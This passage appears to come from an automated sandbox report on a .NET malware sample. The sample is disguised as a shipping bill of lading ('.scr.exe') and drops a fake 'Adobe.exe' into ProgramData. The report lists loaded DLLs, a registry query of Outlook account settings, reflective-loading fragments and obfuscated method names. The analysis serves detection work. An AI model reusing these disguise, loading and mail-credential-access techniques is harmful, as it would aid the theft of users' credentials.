                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: version.dll
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: vcruntime140_clr0400.dll
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: ucrtbase_clr0400.dll
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: ucrtbase_clr0400.dll
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: uxtheme.dll
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: windows.storage.dll
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: wldp.dll
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: profapi.dll
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: cryptsp.dll
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: rsaenh.dll
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: cryptbase.dll
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: windowscodecs.dll
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: amsi.dll
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: userenv.dll
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: msasn1.dll
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: gpapi.dll
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: dwrite.dll
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: textshaping.dll
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: iconcodecservice.dll
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: winmm.dll
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: urlmon.dll
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: wininet.dll
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: iertutil.dll
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: srvcli.dll
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: netutils.dll
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: iphlpapi.dll
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: rstrtmgr.dll
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: ncrypt.dll
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: ntasn1.dll
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: kernel.appcore.dll
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: mscoree.dll
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: kernel.appcore.dll
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: version.dll
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: vcruntime140_clr0400.dll
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: ucrtbase_clr0400.dll
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: ucrtbase_clr0400.dll
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: uxtheme.dll
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: windows.storage.dll
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: wldp.dll
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: profapi.dll
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: cryptsp.dll
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: rsaenh.dll
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: cryptbase.dll
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: windowscodecs.dll
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: amsi.dll
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: userenv.dll
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: msasn1.dll
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: gpapi.dll
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: dwrite.dll
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: textshaping.dll
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: iconcodecservice.dll
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: winmm.dll
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: urlmon.dll
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: wininet.dll
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: iertutil.dll
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: srvcli.dll
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: netutils.dll
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: iphlpapi.dll
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: rstrtmgr.dll
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: ncrypt.dll
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: ntasn1.dll
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: kernel.appcore.dll
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32Jump to behavior
                  Source: Window RecorderWindow detected: More than 3 window changes detected
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeFile opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dllJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Office\Outlook\OMI Account Manager\AccountsJump to behavior
                  Source: Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR
                  Source: Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeStatic PE information: Virtual size of .text is bigger than: 0x100000
                  Source: Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeStatic file information: File size 1129984 > 1048576
                  Source: Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeStatic PE information: Raw size of .text is bigger than: 0x100000 < 0x10e000
                  Source: Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

                  Data Obfuscation

                  barindex
                  .NET source code contains method to dynamically call methods (often used by packers)
                  Source: 0.2.Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.40524c8.1.raw.unpack, kAOj1Y7pfP90kycNNw.cs.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
                  Source: 0.2.Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.58a0000.4.raw.unpack, kAOj1Y7pfP90kycNNw.cs.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
                  .NET source code contains potential unpacker
                  Source: 0.2.Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.40524c8.1.raw.unpack, GtaAIbrHXObmMm8GPA.cs.Net Code: vaH8QmOOp System.Reflection.Assembly.Load(byte[])
                  Source: 0.2.Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.7350000.5.raw.unpack, Fh1UuuAujXdFMfO7oU.cs.Net Code: FDWI0pEnoS System.Reflection.Assembly.Load(byte[])
                  Source: 0.2.Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.41f7920.3.raw.unpack, Fh1UuuAujXdFMfO7oU.cs.Net Code: FDWI0pEnoS System.Reflection.Assembly.Load(byte[])
                  Source: 0.2.Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.58a0000.4.raw.unpack, GtaAIbrHXObmMm8GPA.cs.Net Code: vaH8QmOOp System.Reflection.Assembly.Load(byte[])
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: 3_2_0041CB50 LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetModuleHandleA,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,3_2_0041CB50
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: 3_2_00457106 push ecx; ret 3_2_00457119
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: 3_2_0045B11A push esp; ret 3_2_0045B141
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: 3_2_0045E54D push esi; ret 3_2_0045E556
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: 3_2_00457A28 push eax; ret 3_2_00457A46
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: 3_2_00434E56 push ecx; ret 3_2_00434E69
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 5_2_10002806 push ecx; ret 5_2_10002819
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 6_2_0044693D push ecx; ret 6_2_0044694D
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 6_2_0044DB70 push eax; ret 6_2_0044DB84
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 6_2_0044DB70 push eax; ret 6_2_0044DBAC
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 6_2_00451D54 push eax; ret 6_2_00451D61
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 10_2_0044B090 push eax; ret 10_2_0044B0A4
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 10_2_0044B090 push eax; ret 10_2_0044B0CC
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 10_2_00451D34 push eax; ret 10_2_00451D41
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 10_2_00444E71 push ecx; ret 10_2_00444E81
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 11_2_00414060 push eax; ret 11_2_00414074
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 11_2_00414060 push eax; ret 11_2_0041409C
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 11_2_00414039 push ecx; ret 11_2_00414049
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 11_2_004164EB push 0000006Ah; retf 11_2_004165C4
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 11_2_00416553 push 0000006Ah; retf 11_2_004165C4
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 11_2_00416555 push 0000006Ah; retf 11_2_004165C4
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 18_2_00BFA548 pushfd ; ret 18_2_00BFA652
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 18_2_00BF4659 push ebx; ret 18_2_00BF465A
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 18_2_00BF477C push esp; ret 18_2_00BF477E
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 18_2_00BF4779 push esp; ret 18_2_00BF477A
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 18_2_00BF4838 push edi; ret 18_2_00BF483A
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 18_2_00BF4841 push edi; ret 18_2_00BF4842
                  Source: Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeStatic PE information: section name: .text entropy: 7.888509874015793
                  Source: Adobe.exe.3.drStatic PE information: section name: .text entropy: 7.888509874015793
                  Source: 0.2.Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.40524c8.1.raw.unpack, FZaOUuOPvnEAfIAr0M.csHigh entropy of concatenated method names: 'lEA0fIAr0', 'tZCA8AZk9', 'gXO9bmMm8', 'DGw7NTeNK', 'Om2dkTqQy', 'EZYgaiyMO', 'Dispose', 'FZaOOUuPv', 'pv8tyvFJFxYXZkDera', 'y16QeXgcC0F7yngarN'
                  Source: 0.2.Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.40524c8.1.raw.unpack, GtaAIbrHXObmMm8GPA.csHigh entropy of concatenated method names: 't43wlqHDE', 'b331V9lSR', 'y0lQR8D9G', 'PPrmXmJxA', 'CF9acgM2i', 'eykiYV7wh', 'vSMVwpZMk', 'kxKJsuLoh', 'Ny8e5Nb61', 'qdOCMMDun'
                  Source: 0.2.Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.40524c8.1.raw.unpack, kAOj1Y7pfP90kycNNw.csHigh entropy of concatenated method names: 'lb2Ia3XrDtd392xi2Tb', 'XJIblTXQXnFqByJBCJm', 'uLEr9lUTy0', 'Y8R45UX8CExDEFrtuqs', 'ye0NJSX7mZWAZIVVpiG', 'WY1PxJXMKygj5Preg16', 'ELG2kXXJWTZduCJNQBl', 'RgtTUJcyZL', 'wUUrNltvEH', 'CJErdEKrT9'
                  Source: 0.2.Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.7350000.5.raw.unpack, DsgRYtpJ7jgWXpDVHB.csHigh entropy of concatenated method names: 'Dispose', 'xSYjwHf4QP', 'DBU7D7iJh0', 'bG86xopy7y', 'e9Ojov5fLC', 'oGNjz9Qbj3', 'ProcessDialogKey', 'aNk7qpZkUt', 'Yx57jbQTN6', 'G9f77RsLjK'
                  Source: 0.2.Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.7350000.5.raw.unpack, tfEecnml785wHwJIHJ.csHigh entropy of concatenated method names: 'XHo42Qivp7', 'vdS4p7Z9ad', 'Ga84B609Ii', 'H764KbnJ1w', 'Jjb4Akks2I', 'NUHBJ60lp2', 'BvjBPjfM6c', 'sfqBrwwwrb', 'kPnBNTUYwC', 'MpFBwe9RRv'
                  Source: 0.2.Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.7350000.5.raw.unpack, YUvroyzbVyKhJ9NC7G.csHigh entropy of concatenated method names: 'OhseWLjJmC', 'TJUeSifGKT', 'ggRebnH8Z6', 'gZIemusvZ7', 'yaMeDv9e5B', 'Mt7etWOq5G', 'uCIeMik5Gh', 'wkOeTdh0gD', 'oJfeZOpi0o', 'gjOevnDIiZ'
                  Source: 0.2.Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.7350000.5.raw.unpack, XqroXsb0HtKVWwktli.csHigh entropy of concatenated method names: 'bYT8GKGDkI', 'Wdg8WgOsEd', 'mdF8SGetmm', 'Ei88b3E3CQ', 'ArM8UXs9kA', 'kEK8692WDd', 'QEg8lI1wqY', 'w818XqiiOI', 'Qc18n17aKG', 'M728ecFQH4'
                  Source: 0.2.Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.7350000.5.raw.unpack, vAeenPVQadtXavDfJY.csHigh entropy of concatenated method names: 'R5bUfVenqH', 'nIYUxrfCeS', 'IUtUVOr4Yk', 'KiuUsPE2nt', 'qPkUD1BA9K', 'xN8UgAuY7u', 'T6tUtcK3ZR', 'UDFUMo0LqX', 'JuKU1Y8Sqs', 'QIZUREiNp3'
                  Source: 0.2.Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.7350000.5.raw.unpack, S34ELRjqhjYwO2cZjau.csHigh entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'OnZeEJkaDs', 'EZcexpjKJx', 'bg8eQjeZij', 'mixeVG1uHB', 'a8Nestvjck', 'pmxeavh461', 'HQjeyxaDt1'
                  Source: 0.2.Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.7350000.5.raw.unpack, B5O0EuQUashbiCeofa.csHigh entropy of concatenated method names: 'eQFLSGOjXR', 'GSGLbMv4Bm', 'UuuLmdrbXL', 'NokLD8P6ql', 'K2CLtPq7VN', 'QbsLMjuybo', 'WlfLR1bfTI', 'V3PL5rmXd7', 's4TLfCVb0S', 'dqlLEUFX6x'
                  Source: 0.2.Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.7350000.5.raw.unpack, npZkUtwox5bQTN6m9f.csHigh entropy of concatenated method names: 'u8XnmW7Tt8', 'fV3nDetjdq', 'dVsngfME95', 'CvlntRPgrI', 'vgDnMePwv0', 'r8Yn10Mfs2', 'lePnRIp9j0', 'NEsn5jX9uE', 'LKonHjILRH', 'n9anfDYpEU'
                  Source: 0.2.Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.7350000.5.raw.unpack, DIqwQSSEKDxovHMnnd.csHigh entropy of concatenated method names: 'n9YpVB4Nij', 'MOypsV48tk', 'Ba2paAm1Xx', 'dmWpym1mfl', 'EkTpJsOIgw', 'RDHpPIwUO7', 'VyQprG6ScG', 'HqQpN7XZCF', 'eKUpwqEecq', 'odHpoiZkKJ'
                  Source: 0.2.Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.7350000.5.raw.unpack, B4E3KKrikZSYHf4QP2.csHigh entropy of concatenated method names: 'NCZnUNtTJn', 'KM5nlyD6QH', 'OInnngkGqK', 'c2enuFqqLO', 'T8fnc4tdJR', 'x67nTSZYbU', 'Dispose', 'eOLX9N5A2r', 'iLyXpp6vLo', 'DsMX8g1XYh'
                  Source: 0.2.Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.7350000.5.raw.unpack, r6qhZTjjHGZUW117FxN.csHigh entropy of concatenated method names: 'iV0eopsqVu', 'Ywuezsc079', 'Kv7uq64wCd', 'Ln3ujalI2V', 'PtCu7WDWsD', 'QdauFwUNEO', 'mihuIdixF7', 'WDju2cnlmE', 'x7Gu9Imi7R', 'XYxupmVsTX'
                  Source: 0.2.Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.7350000.5.raw.unpack, Qy48fnP1SYT2woEVtE.csHigh entropy of concatenated method names: 'OUXlNFvpCB', 'C3dloTYfD0', 'wJkXqU7ElB', 'DgMXjV0733', 'chclEjVphN', 'BYVlxvxopx', 'vOolQpKGNZ', 'Uc4lVCS700', 'MWtlsWkITP', 'DyclaiVfyY'
                  Source: 0.2.Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.7350000.5.raw.unpack, mHbW0AIAKqkj6eq51o.csHigh entropy of concatenated method names: 'moSjKIqwQS', 'OKDjAxovHM', 'S0HjCtKVWw', 'mtljkicbKm', 'zpxjUrnufE', 'scnj6l785w', 'VF2w1OM0KPwI3Npy1k', 'OlxVdNgGVyqTcLBiIP', 'jv7AvAFgNFjoQmAyur', 'Lj8jjss9dr'
                  Source: 0.2.Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.7350000.5.raw.unpack, sXCmwo7FUFTMMAucwi.csHigh entropy of concatenated method names: 'pKQ0h5EpA', 'WxsGZ1eAQ', 'r1bWgedis', 'dYbdU8MJl', 'q5SbJBHTt', 'mpyhbgnM4', 'Av3xGsJEoJ3Rlc29E5', 'o7SB6bnIHWGLpJRBXQ', 'YWVXvWUx9', 'ShTej5GkX'
                  Source: 0.2.Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.7350000.5.raw.unpack, P2op7naIXLWiwb2dfs.csHigh entropy of concatenated method names: 'ToString', 'Q8L6ECh02e', 'DCP6D0PV6S', 'FKg6g6Rf2A', 'K876tdcVv9', 'L0f6MVDvjl', 'DmI61h0dkW', 'gMR6R2kwGs', 'NK465wM5QI', 'p3M6Hijsmf'
                  Source: 0.2.Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.7350000.5.raw.unpack, nJdwq78l2LvXAmgiU4.csHigh entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'PTj7wCicbQ', 'Y9F7o5mXyQ', 'Hnh7zTXeks', 'SkCFqN2gFd', 'Uj1FjIS8CO', 'o7sF7Amk2C', 'mtcFFgZTZR', 'bLYIR4X4emxfIJWM8eA'
                  Source: 0.2.Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.7350000.5.raw.unpack, Fh1UuuAujXdFMfO7oU.csHigh entropy of concatenated method names: 'J8TF2Stfrd', 'McYF92pm5f', 'k1MFpoNH23', 'eGKF8I8eHG', 'CdZFBHSjMO', 'fFlF4McZin', 'TABFKF7tcJ', 'HOsFAejJfJ', 'UqkFOZSClG', 'RwAFCqIRyx'
                  Source: 0.2.Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.7350000.5.raw.unpack, ioJ88bRZCkDBoOICcf.csHigh entropy of concatenated method names: 'wAMK9YN821', 'IjqK8KFHIA', 'yvFK431oIn', 'E9P4oxfLB3', 'gQp4zvY4bs', 'CGeKqATJGr', 'IxIKjwouEN', 'VAFK7JltTB', 'va3KF65i0R', 'qw3KIiPgHj'
                  Source: 0.2.Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.7350000.5.raw.unpack, UpKycuyFGKlTPK1Hfj.csHigh entropy of concatenated method names: 'NkclCueNga', 'qTllkT2UHD', 'ToString', 'h6Tl9sgc6p', 'nGwlpIIl6V', 'SiEl8Jgpmx', 'CR7lBZrmpi', 'EDll4Xn2Lx', 'OpClKScesl', 'gyTlAKJgbp'
                  Source: 0.2.Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.7350000.5.raw.unpack, vbKmbdhHMyThL0pxrn.csHigh entropy of concatenated method names: 'eL5BYB7FOY', 'xqLBdcmYIF', 'AEH8gClUrS', 'cty8tbyqJQ', 'xoW8MCUIJs', 'Pxp81XbQPi', 'T978RrDYFH', 'Hp785o0VT6', 'R6x8HuDfj3', 'tNB8fM1l0X'
                  Source: 0.2.Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.7350000.5.raw.unpack, KsLjKmoKaFiko76OHT.csHigh entropy of concatenated method names: 'JnNe8lCIha', 'HPpeBZDRpF', 'sn5e4WCqyp', 'PqceKYq7n0', 'cbOenXvS4W', 'HlneAdG2La', 'Next', 'Next', 'Next', 'NextBytes'
                  Source: 0.2.Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.7350000.5.raw.unpack, HmKTHXHIjeE7xnx0PR.csHigh entropy of concatenated method names: 'SbsKZLjm9g', 'fyAKvPK9DC', 'lxDK0uG73c', 'QaFKGojjZF', 'Ve0KYwB0Ze', 'AwPKWumrRL', 'BGWKd0Thpp', 'MTZKSF5P7u', 'SjkKbIRCMw', 'gS5KhRBGTA'
                  Source: 0.2.Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.41f7920.3.raw.unpack, DsgRYtpJ7jgWXpDVHB.csHigh entropy of concatenated method names: 'Dispose', 'xSYjwHf4QP', 'DBU7D7iJh0', 'bG86xopy7y', 'e9Ojov5fLC', 'oGNjz9Qbj3', 'ProcessDialogKey', 'aNk7qpZkUt', 'Yx57jbQTN6', 'G9f77RsLjK'
                  Source: 0.2.Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.41f7920.3.raw.unpack, tfEecnml785wHwJIHJ.csHigh entropy of concatenated method names: 'XHo42Qivp7', 'vdS4p7Z9ad', 'Ga84B609Ii', 'H764KbnJ1w', 'Jjb4Akks2I', 'NUHBJ60lp2', 'BvjBPjfM6c', 'sfqBrwwwrb', 'kPnBNTUYwC', 'MpFBwe9RRv'
                  Source: 0.2.Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.41f7920.3.raw.unpack, YUvroyzbVyKhJ9NC7G.csHigh entropy of concatenated method names: 'OhseWLjJmC', 'TJUeSifGKT', 'ggRebnH8Z6', 'gZIemusvZ7', 'yaMeDv9e5B', 'Mt7etWOq5G', 'uCIeMik5Gh', 'wkOeTdh0gD', 'oJfeZOpi0o', 'gjOevnDIiZ'
                  Source: 0.2.Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.41f7920.3.raw.unpack, XqroXsb0HtKVWwktli.csHigh entropy of concatenated method names: 'bYT8GKGDkI', 'Wdg8WgOsEd', 'mdF8SGetmm', 'Ei88b3E3CQ', 'ArM8UXs9kA', 'kEK8692WDd', 'QEg8lI1wqY', 'w818XqiiOI', 'Qc18n17aKG', 'M728ecFQH4'
                  Source: 0.2.Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.41f7920.3.raw.unpack, vAeenPVQadtXavDfJY.csHigh entropy of concatenated method names: 'R5bUfVenqH', 'nIYUxrfCeS', 'IUtUVOr4Yk', 'KiuUsPE2nt', 'qPkUD1BA9K', 'xN8UgAuY7u', 'T6tUtcK3ZR', 'UDFUMo0LqX', 'JuKU1Y8Sqs', 'QIZUREiNp3'
                  Source: 0.2.Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.41f7920.3.raw.unpack, S34ELRjqhjYwO2cZjau.csHigh entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'OnZeEJkaDs', 'EZcexpjKJx', 'bg8eQjeZij', 'mixeVG1uHB', 'a8Nestvjck', 'pmxeavh461', 'HQjeyxaDt1'
                  Source: 0.2.Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.41f7920.3.raw.unpack, B5O0EuQUashbiCeofa.csHigh entropy of concatenated method names: 'eQFLSGOjXR', 'GSGLbMv4Bm', 'UuuLmdrbXL', 'NokLD8P6ql', 'K2CLtPq7VN', 'QbsLMjuybo', 'WlfLR1bfTI', 'V3PL5rmXd7', 's4TLfCVb0S', 'dqlLEUFX6x'
                  Source: 0.2.Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.41f7920.3.raw.unpack, npZkUtwox5bQTN6m9f.csHigh entropy of concatenated method names: 'u8XnmW7Tt8', 'fV3nDetjdq', 'dVsngfME95', 'CvlntRPgrI', 'vgDnMePwv0', 'r8Yn10Mfs2', 'lePnRIp9j0', 'NEsn5jX9uE', 'LKonHjILRH', 'n9anfDYpEU'
                  Source: 0.2.Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.41f7920.3.raw.unpack, DIqwQSSEKDxovHMnnd.csHigh entropy of concatenated method names: 'n9YpVB4Nij', 'MOypsV48tk', 'Ba2paAm1Xx', 'dmWpym1mfl', 'EkTpJsOIgw', 'RDHpPIwUO7', 'VyQprG6ScG', 'HqQpN7XZCF', 'eKUpwqEecq', 'odHpoiZkKJ'
                  Source: 0.2.Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.41f7920.3.raw.unpack, B4E3KKrikZSYHf4QP2.csHigh entropy of concatenated method names: 'NCZnUNtTJn', 'KM5nlyD6QH', 'OInnngkGqK', 'c2enuFqqLO', 'T8fnc4tdJR', 'x67nTSZYbU', 'Dispose', 'eOLX9N5A2r', 'iLyXpp6vLo', 'DsMX8g1XYh'
                  Source: 0.2.Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.41f7920.3.raw.unpack, r6qhZTjjHGZUW117FxN.csHigh entropy of concatenated method names: 'iV0eopsqVu', 'Ywuezsc079', 'Kv7uq64wCd', 'Ln3ujalI2V', 'PtCu7WDWsD', 'QdauFwUNEO', 'mihuIdixF7', 'WDju2cnlmE', 'x7Gu9Imi7R', 'XYxupmVsTX'
                  Source: 0.2.Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.41f7920.3.raw.unpack, Qy48fnP1SYT2woEVtE.csHigh entropy of concatenated method names: 'OUXlNFvpCB', 'C3dloTYfD0', 'wJkXqU7ElB', 'DgMXjV0733', 'chclEjVphN', 'BYVlxvxopx', 'vOolQpKGNZ', 'Uc4lVCS700', 'MWtlsWkITP', 'DyclaiVfyY'
